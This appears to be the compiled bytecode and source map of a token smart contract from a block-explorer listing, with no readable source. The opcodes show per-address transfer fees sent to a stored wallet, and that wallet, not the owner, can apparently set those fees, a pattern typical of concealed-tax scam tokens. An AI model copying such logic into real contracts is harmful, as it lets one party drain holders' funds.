1906114a1565b6109f2565b005b34801561045f57600080fd5b5061047a60048036038101906104759190611377565b610ae1565b60405161048791906113d2565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b29190611716565b610af8565b6040516104c491906113fc565b60405180910390f35b600480546104da90611785565b80601f016020809104026020016040519081016040528092919081815260200182805461050690611785565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610b7f565b6001905092915050565b60085481565b6000610585848484610c6a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069291906117e5565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905060006002905060006003905060006107da848484611045565b90506107e6818561106b565b90506107f386868361108d565b505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef90611865565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461097190611785565b80601f016020809104026020016040519081016040528092919081815260200182805461099d90611785565b80156109ea5780601f106109bf576101008083540402835291602001916109ea565b820191906000526020600020905b8154815290600101906020018083116109cd57829003601f168201915b505050505081565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576001610a59565b60095b60ff1690506000600382610a6d91906117e5565b9050809150600281610a7f91906119b8565b6008546103e8610a8f9190611a03565b610a999190611a03565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000610aee338484610c6a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5d91906113fc565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610cd35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d295750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7691906117e5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115610f355760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610e109190611a03565b610e1a9190611a74565b90508082610e289190611aa5565b91506000811115610f33578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea49190611aa5565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2a91906113fc565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f819190611aa5565b610f8b91906117e5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661102991906117e5565b60405161103691906113fc565b60405180910390a35050505050565b60008061105385858561112c565b9050828161106191906117e5565b9150509392505050565b600060018261107a91906117e5565b836110859190611aa5565b905092915050565b600081905060005b84518110156111255781836110aa91906117e5565b846110b59190611aa5565b600a60008784815181106110cc576110cb611ad9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061111d90611b08565b915050611095565b5050505050565b60006111378461117a565b1561114f5781836111489190611aa5565b9050611173565b6111588361117a565b61116f57838361116891906117e5565b9050611173565b8190505b9392505050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16149050600080841190508180156111e15750805b156111f157600192505050611218565b8161120157600092505050611218565b8061121157600092505050611218565b6001925050505b919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561125757808201518184015260208101905061123c565b60008484015250505050565b6000601f19601f8301169050919050565b600061127f8261121d565b6112898185611228565b9350611299818560208601611239565b6112a281611263565b840191505092915050565b600060208201905081810360008301526112c78184611274565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061130e826112e3565b9050919050565b61131e81611303565b811461132957600080fd5b50565b60008135905061133b81611315565b92915050565b6000819050919050565b61135481611341565b811461135f57600080fd5b50565b6000813590506113718161134b565b92915050565b6000806040838503121561138e5761138d6112d9565b5b600061139c8582860161132c565b92505060206113ad85828601611362565b9150509250929050565b60008115159050919050565b6113cc816113b7565b82525050565b60006020820190506113e760008301846113c3565b92915050565b6113f681611341565b82525050565b600060208201905061141160008301846113ed565b92915050565b6000806000606084860312156114305761142f6112d9565b5b600061143e8682870161132c565b935050602061144f8682870161132c565b925050604061146086828701611362565b9150509250925092565b600060ff82169050919050565b6114808161146a565b82525050565b600060208201905061149b6000830184611477565b92915050565b6000602082840312156114b7576114b66112d9565b5b60006114c58482850161132c565b91505092915050565b6114d781611303565b82525050565b60006020820190506114f260008301846114ce565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61153582611263565b810181811067ffffffffffffffff82111715611554576115536114fd565b5b80604052505050565b60006115676112cf565b9050611573828261152c565b919050565b600067ffffffffffffffff821115611593576115926114fd565b5b602082029050602081019050919050565b600080fd5b60006115bc6115b784611578565b61155d565b905080838252602082019050602084028301858111156115df576115de6115a4565b5b835b8181101561160857806115f4888261132c565b8452602084019350506020810190506115e1565b5050509392505050565b600082601f830112611627576116266114f8565b5b81356116378482602086016115a9565b91505092915050565b60008060408385031215611657576116566112d9565b5b600083013567ffffffffffffffff811115611675576116746112de565b5b61168185828601611612565b925050602061169285828601611362565b9150509250929050565b6000819050919050565b60006116c16116bc6116b7846112e3565b61169c565b6112e3565b9050919050565b60006116d3826116a6565b9050919050565b60006116e5826116c8565b9050919050565b6116f5816116da565b82525050565b600060208201905061171060008301846116ec565b92915050565b6000806040838503121561172d5761172c6112d9565b5b600061173b8582860161132c565b925050602061174c8582860161132c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179d57607f821691505b6020821081036117b0576117af611756565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117f082611341565b91506117fb83611341565b9250828203905081811115611813576118126117b6565b5b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b600061184f600683611228565b915061185a82611819565b602082019050919050565b6000602082019050818103600083015261187e81611842565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156118dc578086048111156118b8576118b76117b6565b5b60018516156118c75780820291505b80810290506118d585611885565b945061189c565b94509492505050565b6000826118f557600190506119b1565b8161190357600090506119b1565b8160018114611919576002811461192357611952565b60019150506119b1565b60ff841115611935576119346117b6565b5b8360020a91508482111561194c5761194b6117b6565b5b506119b1565b5060208310610133831016604e8410600b84101617156119875782820a905083811115611982576119816117b6565b5b6119b1565b6119948484846001611892565b925090508184048111156119ab576119aa6117b6565b5b81810290505b9392505050565b60006119c382611341565b91506119ce8361146a565b92506119fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e5565b905092915050565b6000611a0e82611341565b9150611a1983611341565b9250828202611a2781611341565b91508282048414831517611a3e57611a3d6117b6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a7f82611341565b9150611a8a83611341565b925082611a9a57611a99611a45565b5b828204905092915050565b6000611ab082611341565b9150611abb83611341565b9250828201905080821115611ad357611ad26117b6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b1382611341565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4557611b446117b6565b5b60018201905091905056fea26469706673582212209bbab6ccddd8f1442e5fcba66224c97e5a7448c1c0f3c2071d89ef45b0c3b57c64736f6c63430008130033

Deployed Bytecode Sourcemap

1052:5349:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1401:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5747:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1525:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5877:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1720:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1447:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1469:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1664:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1375:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1750:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3341:349;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1552:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5387:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;927:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;755:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1420:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5118:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5487:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5623:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1401:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5747:124::-;5813:4;5820:37;5829:10;5841:7;5850:6;5820:8;:37::i;:::-;5865:4;5858:11;;5747:124;;;;:::o;1525:26::-;;;;:::o;5877:327::-;5966:4;5983:36;5993:6;6001:9;6012:6;5983:9;:36::i;:::-;1655:1;1646:11;6034;:19;6046:6;6034:19;;;;;;;;;;;;;;;:31;6054:10;6034:31;;;;;;;;;;;;;;;;:38;6030:145;;6157:6;6123:11;:19;6135:6;6123:19;;;;;;;;;;;;;;;:31;6143:10;6123:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6089:11;:19;6101:6;6089:19;;;;;;;;;;;;;;;:31;6109:10;6089:31;;;;;;;;;;;;;;;:74;;;;6030:145;6192:4;6185:11;;5877:327;;;;;:::o;1720:23::-;;;;:::o;1447:21::-;;;;;;;;;;;;;:::o;1469:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1664:46::-;;;;;;;;;;;;;;;;;:::o;1375:25::-;;;;;;;;;;;;;:::o;1750:27::-;;;;;;;;;;;;;:::o;3341:349::-;3433:16;3452:4;3433:23;;3457:16;3476:4;3457:23;;3481:16;3500:4;3481:23;;3505:14;3522:44;3537:8;3547;3557;3522:14;:44::i;:::-;3505:61;;3586:34;3603:6;3611:8;3586:16;:34::i;:::-;3577:43;;3631:51;3647:10;3659:14;3675:6;3631:15;:51::i;:::-;3422:268;;;;3341:349;;:::o;1552:36::-;;;;;;;;;;;;;:::o;5387:94::-;5444:7;5461:9;:18;5471:7;5461:18;;;;;;;;;;;;;;;;5454:25;;5387:94;;;:::o;927:116::-;874:10;864:20;;:6;;;;;;;;;;:20;;;856:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1027:8:::1;1018:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;927:116:::0;:::o;755:63::-;793:7;810:6;;;;;;;;;;;803:13;;755:63;:::o;1420:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5118:261::-;5173:44;5220:9;5173:56;;5240:9;5266:10;5252:24;;:10;;;;;;;;;;;:24;;;:34;;5283:3;5252:34;;;5279:1;5252:34;5240:46;;;;5297:9;5313:1;5309;:5;;;;:::i;:::-;5297:17;;5319:1;5315:5;;5370:1;5367;:4;;;;:::i;:::-;5355:11;;5350:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;5331:10;:16;5342:4;5331:16;;;;;;;;;;;;;;;:40;;;;5162:217;;;5118:261;:::o;5487:130::-;5556:4;5563:40;5573:10;5585:9;5596:6;5563:9;:40::i;:::-;5611:4;5604:11;;5487:130;;;;:::o;5623:118::-;5695:7;5712:11;:18;5724:5;5712:18;;;;;;;;;;;;;;;:27;5731:7;5712:27;;;;;;;;;;;;;;;;5705:34;;5623:118;;;;:::o;6212:151::-;6317:6;6287:11;:18;6299:5;6287:18;;;;;;;;;;;;;;;:27;6306:7;6287:27;;;;;;;;;;;;;;;:36;;;;6345:7;6329:32;;6338:5;6329:32;;;6354:6;6329:32;;;;;;:::i;:::-;;;;;;;;6212:151;;;:::o;1786:702::-;1866:20;1890:6;;;;;;;;;;;1889:7;:35;;;;;1901:17;:23;1919:4;1901:23;;;;;;;;;;;;;;;;;;;;;;;;;1900:24;1889:35;:61;;;;;1929:17;:21;1947:2;1929:21;;;;;;;;;;;;;;;;;;;;;;;;;1928:22;1889:61;1866:84;;1999:6;1981:9;:15;1991:4;1981:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1963:9;:15;1973:4;1963:15;;;;;;;;;;;;;;;:42;;;;2018:18;2051:15;2047:317;;;2083:17;2131:3;2112:10;:16;2123:4;2112:16;;;;;;;;;;;;;;;;2103:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2083:51;;2163:9;2149:23;;;;;:::i;:::-;;;2203:1;2191:9;:13;2187:166;;;2258:9;2224;:30;2242:10;;;;;;;;;;;2224:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2314:10;;;;;;;;;;;2291:46;;2300:4;2291:46;;;2327:9;2291:46;;;;;;:::i;:::-;;;;;;;;2187:166;2068:296;2047:317;2415:10;2406:6;2390:9;:13;2400:2;2390:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2374:9;:13;2384:2;2374:13;;;;;;;;;;;;;;;:51;;;;2456:2;2441:39;;2450:4;2441:39;;;2469:10;2460:6;:19;;;;:::i;:::-;2441:39;;;;;;:::i;:::-;;;;;;;;1853:635;;1786:702;;;:::o;3698:192::-;3786:7;3806:14;3823:28;3834:4;3840;3846;3823:10;:28::i;:::-;3806:45;;3878:4;3869:6;:13;;;;:::i;:::-;3862:20;;;3698:192;;;;;:::o;3898:159::-;3988:7;4044:4;4037;:11;;;;:::i;:::-;4015:18;:34;;;;:::i;:::-;4008:41;;3898:159;;;;:::o;4065:294::-;4176:18;4197:6;4176:27;;4219:9;4214:138;4238:9;:16;4234:1;:20;4214:138;;;4329:10;4320:6;:19;;;;:::i;:::-;4303:13;:37;;;;:::i;:::-;4276:10;:24;4287:9;4297:1;4287:12;;;;;;;;:::i;:::-;;;;;;;;4276:24;;;;;;;;;;;;;;;:64;;;;4256:3;;;;;:::i;:::-;;;;4214:138;;;;4165:194;4065:294;;;:::o;4367:300::-;4451:7;4475:18;4488:4;4475:12;:18::i;:::-;4471:189;;;4524:4;4517;:11;;;;:::i;:::-;4510:18;;;;4471:189;4551:18;4564:4;4551:12;:18::i;:::-;4546:114;;4600:4;4593;:11;;;;:::i;:::-;4586:18;;;;4546:114;4644:4;4637:11;;4367:300;;;;;;:::o;4673:431::-;4729:4;4746:19;4782:10;;;;;;;;;;;4768:24;;:10;:24;;;4746:46;;4803:20;4831:1;4826:2;:6;4803:29;;4847:14;:33;;;;;4865:15;4847:33;4843:254;;;4904:4;4897:11;;;;;;4843:254;4931:14;4926:171;;4969:5;4962:12;;;;;;4926:171;4997:15;4992:105;;5036:5;5029:12;;;;;;4992:105;5081:4;5074:11;;;;4673:431;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:117::-;5649:1;5646;5639:12;5663:180;5711:77;5708:1;5701:88;5808:4;5805:1;5798:15;5832:4;5829:1;5822:15;5849:281;5932:27;5954:4;5932:27;:::i;:::-;5924:6;5920:40;6062:6;6050:10;6047:22;6026:18;6014:10;6011:34;6008:62;6005:88;;;6073:18;;:::i;:::-;6005:88;6113:10;6109:2;6102:22;5892:238;5849:281;;:::o;6136:129::-;6170:6;6197:20;;:::i;:::-;6187:30;;6226:33;6254:4;6246:6;6226:33;:::i;:::-;6136:129;;;:::o;6271:311::-;6348:4;6438:18;6430:6;6427:30;6424:56;;;6460:18;;:::i;:::-;6424:56;6510:4;6502:6;6498:17;6490:25;;6570:4;6564;6560:15;6552:23;;6271:311;;;:::o;6588:117::-;6697:1;6694;6687:12;6728:710;6824:5;6849:81;6865:64;6922:6;6865:64;:::i;:::-;6849:81;:::i;:::-;6840:90;;6950:5;6979:6;6972:5;6965:21;7013:4;7006:5;7002:16;6995:23;;7066:4;7058:6;7054:17;7046:6;7042:30;7095:3;7087:6;7084:15;7081:122;;;7114:79;;:::i;:::-;7081:122;7229:6;7212:220;7246:6;7241:3;7238:15;7212:220;;;7321:3;7350:37;7383:3;7371:10;7350:37;:::i;:::-;7345:3;7338:50;7417:4;7412:3;7408:14;7401:21;;7288:144;7272:4;7267:3;7263:14;7256:21;;7212:220;;;7216:21;6830:608;;6728:710;;;;;:::o;7461:370::-;7532:5;7581:3;7574:4;7566:6;7562:17;7558:27;7548:122;;7589:79;;:::i;:::-;7548:122;7706:6;7693:20;7731:94;7821:3;7813:6;7806:4;7798:6;7794:17;7731:94;:::i;:::-;7722:103;;7538:293;7461:370;;;;:::o;7837:684::-;7930:6;7938;7987:2;7975:9;7966:7;7962:23;7958:32;7955:119;;;7993:79;;:::i;:::-;7955:119;8141:1;8130:9;8126:17;8113:31;8171:18;8163:6;8160:30;8157:117;;;8193:79;;:::i;:::-;8157:117;8298:78;8368:7;8359:6;8348:9;8344:22;8298:78;:::i;:::-;8288:88;;8084:302;8425:2;8451:53;8496:7;8487:6;8476:9;8472:22;8451:53;:::i;:::-;8441:63;;8396:118;7837:684;;;;;:::o;8527:60::-;8555:3;8576:5;8569:12;;8527:60;;;:::o;8593:142::-;8643:9;8676:53;8694:34;8703:24;8721:5;8703:24;:::i;:::-;8694:34;:::i;:::-;8676:53;:::i;:::-;8663:66;;8593:142;;;:::o;8741:126::-;8791:9;8824:37;8855:5;8824:37;:::i;:::-;8811:50;;8741:126;;;:::o;8873:147::-;8944:9;8977:37;9008:5;8977:37;:::i;:::-;8964:50;;8873:147;;;:::o;9026:173::-;9134:58;9186:5;9134:58;:::i;:::-;9129:3;9122:71;9026:173;;:::o;9205:264::-;9319:4;9357:2;9346:9;9342:18;9334:26;;9370:92;9459:1;9448:9;9444:17;9435:6;9370:92;:::i;:::-;9205:264;;;;:::o;9475:474::-;9543:6;9551;9600:2;9588:9;9579:7;9575:23;9571:32;9568:119;;;9606:79;;:::i;:::-;9568:119;9726:1;9751:53;9796:7;9787:6;9776:9;9772:22;9751:53;:::i;:::-;9741:63;;9697:117;9853:2;9879:53;9924:7;9915:6;9904:9;9900:22;9879:53;:::i;:::-;9869:63;;9824:118;9475:474;;;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:320;10185:6;10222:1;10216:4;10212:12;10202:22;;10269:1;10263:4;10259:12;10290:18;10280:81;;10346:4;10338:6;10334:17;10324:27;;10280:81;10408:2;10400:6;10397:14;10377:18;10374:38;10371:84;;10427:18;;:::i;:::-;10371:84;10192:269;10141:320;;;:::o;10467:180::-;10515:77;10512:1;10505:88;10612:4;10609:1;10602:15;10636:4;10633:1;10626:15;10653:194;10693:4;10713:20;10731:1;10713:20;:::i;:::-;10708:25;;10747:20;10765:1;10747:20;:::i;:::-;10742:25;;10791:1;10788;10784:9;10776:17;;10815:1;10809:4;10806:11;10803:37;;;10820:18;;:::i;:::-;10803:37;10653:194;;;;:::o;10853:156::-;10993:8;10989:1;10981:6;10977:14;10970:32;10853:156;:::o;11015:365::-;11157:3;11178:66;11242:1;11237:3;11178:66;:::i;:::-;11171:73;;11253:93;11342:3;11253:93;:::i;:::-;11371:2;11366:3;11362:12;11355:19;;11015:365;;;:::o;11386:419::-;11552:4;11590:2;11579:9;11575:18;11567:26;;11639:9;11633:4;11629:20;11625:1;11614:9;11610:17;11603:47;11667:131;11793:4;11667:131;:::i;:::-;11659:139;;11386:419;;;:::o;11811:102::-;11853:8;11900:5;11897:1;11893:13;11872:34;;11811:102;;;:::o;11919:848::-;11980:5;11987:4;12011:6;12002:15;;12035:5;12026:14;;12049:712;12070:1;12060:8;12057:15;12049:712;;;12165:4;12160:3;12156:14;12150:4;12147:24;12144:50;;;12174:18;;:::i;:::-;12144:50;12224:1;12214:8;12210:16;12207:451;;;12639:4;12632:5;12628:16;12619:25;;12207:451;12689:4;12683;12679:15;12671:23;;12719:32;12742:8;12719:32;:::i;:::-;12707:44;;12049:712;;;11919:848;;;;;;;:::o;12773:1073::-;12827:5;13018:8;13008:40;;13039:1;13030:10;;13041:5;;13008:40;13067:4;13057:36;;13084:1;13075:10;;13086:5;;13057:36;13153:4;13201:1;13196:27;;;;13237:1;13232:191;;;;13146:277;;13196:27;13214:1;13205:10;;13216:5;;;13232:191;13277:3;13267:8;13264:17;13261:43;;;13284:18;;:::i;:::-;13261:43;13333:8;13330:1;13326:16;13317:25;;13368:3;13361:5;13358:14;13355:40;;;13375:18;;:::i;:::-;13355:40;13408:5;;;13146:277;;13532:2;13522:8;13519:16;13513:3;13507:4;13504:13;13500:36;13482:2;13472:8;13469:16;13464:2;13458:4;13455:12;13451:35;13435:111;13432:246;;;13588:8;13582:4;13578:19;13569:28;;13623:3;13616:5;13613:14;13610:40;;;13630:18;;:::i;:::-;13610:40;13663:5;;13432:246;13703:42;13741:3;13731:8;13725:4;13722:1;13703:42;:::i;:::-;13688:57;;;;13777:4;13772:3;13768:14;13761:5;13758:25;13755:51;;;13786:18;;:::i;:::-;13755:51;13835:4;13828:5;13824:16;13815:25;;12773:1073;;;;;;:::o;1385